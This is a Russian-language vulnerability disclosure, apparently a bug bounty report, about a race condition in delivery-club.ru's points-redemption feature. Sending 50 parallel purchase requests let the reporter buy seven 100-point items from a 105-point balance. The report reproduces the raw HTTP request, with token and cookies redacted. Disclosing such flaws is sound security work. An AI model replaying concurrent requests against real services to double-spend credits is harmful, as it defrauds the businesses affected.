Добрый день!
Уязвимость Race condition была обнаружена на delivery-club.ru при покупке за баллы. Запросы покупки успевают пройти до того, как происходит списание баллов. Таким образом можно успеть купить несколько товаров не тратя на это баллы.
У меня на счету было 105 баллов. Запустив 50 запросов на покупку товара (за 100 баллов) в 50 потоков, я получил 7 ответов сервера о покупке. Выигрыш от эксплуатации уязвимости составил 600 баллов.
███████
То есть на 105 баллов я смог купить 7 товаров. Ответ содержал информацию о том, что на счету осталось 5 баллов.
███
Последующие ответы содержали ошибки о том, что баллов недостаточно:
{"error": "Недостаточно баллов"}
██████
Сам запрос выглядит следующим образом:
GET /ajax/choose_prize/?bonus_id=5338 HTTP/1.1
Host: kemerovo.delivery-club.ru
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-CSRF-Token: ██████████
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Referer: https://kemerovo.delivery-club.ru/prizes/cat/30/
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: { cookies }
Уязвимость состояния гонки может привести к обману бизнес логики приложения, позволяя таким образом совершить покупки за баллы, которые еще не успели списаться предыдущей покупкой.